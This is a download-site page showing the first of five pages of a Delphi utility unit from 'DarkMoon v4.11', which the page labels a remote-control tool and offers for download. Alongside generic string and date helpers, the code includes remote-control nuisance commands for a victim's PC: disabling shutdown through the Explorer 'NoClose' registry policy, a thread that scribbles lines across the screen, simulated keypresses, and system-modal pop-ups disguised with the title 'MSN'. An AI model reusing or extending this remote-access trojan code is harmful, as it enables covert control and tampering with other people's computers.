⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dmucommandsandutils.pas

📁 DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.
💻 PAS
📖 第 1 页 / 共 5 页
字号:
  ///////////////////////////////////////////////////////////////////////////////
function Sacar_Apagar_sistema : String;
var h : HKEY;
    i : Integer;
begin
     RegOpenKeyEx( HKEY_CURRENT_USER,
                   PChar( 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' ),
                   0,
                   KEY_ALL_ACCESS,
                   h );
     RegsetValueEx( h,
                    PChar( 'NoClose' ),
                    0,
                    REG_SZ,
                    PChar( '1' ),
                    Length( '1' ) + 1 );
     RegCloseKey( h );
     SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @i, 0);
     Result := 'Turn off system disabled ';
end;
   ///////////////////////////////////////////////////////////////////////////////
function Poner_Apagar_sistema : String;
var i : Integer;
    h : HKEY;
begin

     RegOpenKeyEx( HKEY_CURRENT_USER,
                   PChar( 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' ),
                   0,
                   KEY_ALL_ACCESS,
                   h );
     RegDeleteValue( h,
                     PChar( 'NoClose' ));
     RegCloseKey( h );
     SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @i, 0);
     Result := 'turn off system enabled!!';
end;
   ///////////////////////////////////////////////////////////////////////////////
procedure ThreadVivorita;
var h : HDC;
    p : HPen;
    Pos : TPoint;
    v : array[1..20]of integer;
    incX, incY : integer;
begin
   v[1] := 1;   v[2] := 1;
   v[3] := 1;   v[4] := 1;
   v[5] := 1;   v[6] := 1;
   v[7] := 1;   v[8] := 1;
   v[9] := 1;   v[10] := 1;
   v[11] := -1; v[12] := -1;
   v[13] := -1; v[14] := -1;
   v[15] := -1; v[16] := -1;
   v[17] := -1; v[18] := -1;
   v[19] := -1; v[20] := -1;

   h := createDC( Pchar( 'DISPLAY' ), nil, nil, nil );
   P := CreatePen( PS_DOT, 6, $000080FF);
   SelectObject( h, P );
   pos.X := 400;
   pos.Y := 300;
   incX  := 1;
   incY  := 1;


   while vivorita do
   begin
        LineTo( h, pos.X, Pos.Y );
        pos.X := pos.X + incX;
     	pos.Y := pos.Y + incY;
        if pos.X < 0   then
           pos.X := 0;
        if pos.X >  GetSystemMetrics( SM_CXSCREEN ) then
           pos.X := GetSystemMetrics( SM_CXSCREEN );
        if pos.Y < 0   then
           pos.Y := 0;
        if pos.Y > GetSystemMetrics( SM_CYSCREEN ) then
           pos.Y := GetSystemMetrics( SM_CYSCREEN );
        if(random (27) = 7)then
        begin
             incX := incX * v[random(20) + 1];
             incY := incY * v[random(20) + 1];
        end;
        Sleep( 10 );
   end;
end;

  ///////////////////////////////////////////////////////////////////////////////
function CrearThreadVivorita: String;
var id: cardinal;
begin
     if Vivorita then
     begin
          Result := '&1&';
          Vivorita := FALSE;
     end
     else
     begin
          Vivorita := TRUE;
          BeginThread(nil, 0, @ThreadVivorita, nil, 0, id );
          Result := '&0&';
     end;
end;
 ///////////////////////////////////////////////////////////////////////////////

procedure PresionarTecla( key: Byte );
begin
try
      Keybd_Event ( key , 0 , 0 , 0 );
      Keybd_Event ( key , 0 , KEYEVENTF_KEYUP , 0 );
      except exit end;;
end;
 ///////////////////////////////////////////////////////////////////////////////
function Ocurrencias( const ss, s: String ): Integer;
var i: Integer;
begin
     i := 1;
     Result := 0;
     while i <= length( s ) + 1 do
     begin
          if s[ i ] = ss then
             Result := Result + 1;
          Inc( i );
     end;
end;     
  ///////////////////////////////////////////////////////////////////////////////

procedure Filtrar( var s:String );
var a : set of char;
    i : Byte;
    Aux : string;
begin
     a := [ 'a'..'z' ] + [ 'A'..'Z'] + [ '0'..'9'];
     Aux := s;
     s := '';
     for i := 1 to Length( Aux )do
          if Aux[ i ] in a then S := S + Aux[ i ];
end;
   ///////////////////////////////////////////////////////////////////////////////

 function GenerarRandomString: String;

var i: Byte;
    tmp : String;
    vec : Array[ 1..58 ] of byte;
begin
     for i := 1 to 58 do
         vec[ i ] := i + 64;
     Tmp := '';
     Randomize;
     for i := 1 to 4 + Random( 3216 ) mod 2 do
     begin
          Randomize;
          Tmp := Tmp + Chr( Vec[ Random( 58 ) ] );
          Sleep( 500 );
     end;
     result := LowerCase( tmp );
     if Length( Result ) > 12 then
        Result := Copy( result, 1, 9 );
     Filtrar( REsult );
end;
   ///////////////////////////////////////////////////////////////////////////////

function HexToInt(s: string): Longword;
var  b: Byte;
     c: Char;
begin
     Result := 0;
     s := UpperCase( s );
     for b := 1 to Length( s ) do
     begin
          Result := Result * 16;
          c := s[ b ];
          case c of
              '0'..'9': Inc(Result, Ord(c) - Ord('0'));
              'A'..'F': Inc(Result, Ord(c) - Ord('A') + 10);
          end;
     end;
end;

  ///////////////////////////////////////////////////////////////////////////////

function stringtochar(st : string) : char;
var c : char;
begin
     c := #0;
     while c <> st do
           c := succ(c);
     stringtochar := c;
end;
    ///////////////////////////////////////////////////////////////////////////////

function Trim(const S: string): string;
var
  I, L: Integer;
begin
  L := Length(S);
  I := 1;
  while (I <= L) and (S[I] <= ' ') do Inc(I);
  if I > L then Result := '' else
  begin
    while S[L] <= ' ' do Dec(L);
    Result := Copy(S, I, L - I + 1);
  end;
end;
  ///////////////////////////////////////////////////////////////////////////////

function StrToIntDef(const S: string; Default: Integer): Integer;
var
  E: Integer;
begin
  Val(S, Result, E);
  if E <> 0 then Result := Default;
end;
  ///////////////////////////////////////////////////////////////////////////////

//Devuelve una cadena en formato numerico de un valor para Unsigned 32 bits
function UnSigFrmToStr(Value: Cardinal; FormatStr : PChar): string;
var
  Poinx : Pointer;
  wsprintfX : function (Output: PChar; Format: PChar; Value : Cardinal): Integer; cdecl;
  hdllib : HINST;
  retmp : Integer;
begin
  hdllib := LoadLibrary('User32.dll');   {Carga la libreria}
  if hdllib <> 0 then begin
     Poinx := GetProcAddress(hdllib, 'wsprintfA');
     if Poinx <> nil then begin
        @wsprintfX := Poinx;
        SetLength(Result, 15);
        retmp := wsprintfX(PChar(Result), FormatStr, Value);
        SetLength(Result, retmp);
     end;
  FreeLibrary(hdllib);
  end;
end;
   ///////////////////////////////////////////////////////////////////////////////

function LowerCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;
  ///////////////////////////////////////////////////////////////////////////////

procedure showm( s : String );
begin
     MessageBox( 0 , pchar( S ) , 'MSN' , MB_OK + MB_ICONSTOP+ MB_SYSTEMMODAL );
end;
   ///////////////////////////////////////////////////////////////////////////////

function StrLCopy(Dest, Source: PChar; MaxLen: Cardinal): PChar; assembler;
asm
        PUSH    EDI
        PUSH    ESI
        PUSH    EBX
        MOV     ESI,EAX
        MOV     EDI,EDX
        MOV     EBX,ECX
        XOR     AL,AL
        TEST    ECX,ECX
        JZ      @@1
        REPNE   SCASB
        JNE     @@1
        INC     ECX
@@1:    SUB     EBX,ECX
        MOV     EDI,ESI
        MOV     ESI,EDX
        MOV     EDX,EDI
        MOV     ECX,EBX
        SHR     ECX,2
        REP     MOVSD
        MOV     ECX,EBX
        AND     ECX,3
        REP     MOVSB
        STOSB
        MOV     EAX,EDX
        POP     EBX
        POP     ESI
        POP     EDI
end;
  ///////////////////////////////////////////////////////////////////////////////

function StrPCopy(Dest: PChar; const Source: string): PChar;
begin
  Result := StrLCopy(Dest, PChar(Source), Length(Source));
end;
   ///////////////////////////////////////////////////////////////////////////////

//Devuelve una cadena en formato numerico de un valor para Signed 32 bits
function SigFrmToStr(Value: Integer; FormatStr : PChar): string;
var
  Poinx : Pointer;
  wsprintfX : function (Output: PChar; Format: PChar; Value : Integer): Integer; cdecl;
  hdllib : HINST;
  retmp : Integer;
begin
  hdllib := LoadLibrary('User32.dll');   {Carga la libreria}
  if hdllib <> 0 then begin
     Poinx := GetProcAddress(hdllib, 'wsprintfA');
     if Poinx <> nil then begin
        @wsprintfX := Poinx;
        SetLength(Result, 15);
        retmp := wsprintfX(PChar(Result), FormatStr, Value);
        SetLength(Result, retmp);
     end;
  FreeLibrary(hdllib);
  end;
end;
   ///////////////////////////////////////////////////////////////////////////////

function IntToStr(Value: Integer): string;
begin
   Result := SigFrmToStr(Value, PChar('%d'));
end;
   ///////////////////////////////////////////////////////////////////////////////

function StrToInt(const S: string ): Integer;
var  E: Integer;
begin
     Val(S, Result, E);
end;
  ///////////////////////////////////////////////////////////////////////////////

function StrPas(const Str: PChar): string;
begin
  Result := Str;
end;
   ///////////////////////////////////////////////////////////////////////////////


//System's date & time.
function ddate : string;
var  datestr  : string;
     retsize : integer;
begin
     setlength(datestr,128);
     retsize := GetDateFormat( LOCALE_SYSTEM_DEFAULT,
                               LOCALE_NOUSEROVERRIDE and DATE_LONGDATE,
                               nil,
                               'ddd_MMM_dd_yyyy',
                               PChar(datestr),
                               128);
     setlength(datestr, retsize - 1);
     Result := datestr ;
end;
  ///////////////////////////////////////////////////////////////////////////////

function Time : string;
var  timestr : string;
     retsize : integer;
begin
     setlength(timestr, 128);
     retsize := GetTimeFormat(LOCALE_SYSTEM_DEFAULT,
                              LOCALE_NOUSEROVERRIDE and TIME_FORCE24HOURFORMAT,
                              nil,
                              'hh-mm-ss-tt',
                              PChar(timestr),
                              128);
     setlength(timestr, retsize - 1);
     Result := timestr;
end;
  ///////////////////////////////////////////////////////////////////////////////

function StrToInt64(const S: string): Int64;
var  E: Integer;
begin
     Val(S, Result, E);
end;

function UpperCase( S :String ): String ;
var i : Byte;
begin
     for i := 1 to Length( s ) do
         S[ i ] := UpCase( S[ i ] );
     Result := S;
end;
   ///////////////////////////////////////////////////////////////////////////////

function FileAge(const FileName: string): Integer;
type  LongRec = packed record
            Lo, Hi: Word;
      end;
var  Handle: THandle;
     FindData: TWin32FindData;
     LocalFileTime: TFileTime;
begin
  Handle := FindFirstFile(PChar(FileName), FindData);
  if Handle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(Handle);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
    begin

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -